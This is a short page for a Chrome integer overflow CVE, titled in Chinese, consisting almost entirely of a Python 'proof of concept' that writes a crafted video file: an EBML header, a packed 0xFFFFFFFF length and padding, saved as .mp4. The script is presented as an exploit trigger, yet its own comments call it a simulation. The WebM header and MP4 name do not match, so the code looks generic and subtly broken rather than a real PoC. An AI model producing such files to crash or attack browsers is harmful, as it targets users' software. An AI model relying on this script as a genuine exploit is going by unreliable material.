CVE-2026-8573 Google Chrome整数溢出漏洞

# Proof of Concept for CVE-2026-8573 # This script generates a crafted video file designed to trigger the integer overflow. # Note: Actual exploitation requires precise byte manipulation based on the codec specifics. import struct def create_crafted_video(filename): # Simulating a malformed video header that causes integer overflow in Chrome Codecs # Example: Setting a frame size or specific chunk size to a value that causes overflow # when multiplied or added during buffer allocation. # Generic header (e.g., WebM/MP4) header = b'\x1A\x45\xDF\xA3' # EBML header # Malformed data block simulating the overflow trigger # Payload crafted to hit the specific codec parsing logic crafted_payload = struct.pack('<I', 0xFFFFFFFF) # Max uint32 to trigger overflow crafted_payload += b'A' * 100 # Padding with open(filename, 'wb') as f: f.write(header + crafted_payload) print(f"Crafted video file '{filename}' generated.") if __name__ == "__main__": create_crafted_video("cve_2026_8573_poc.mp4")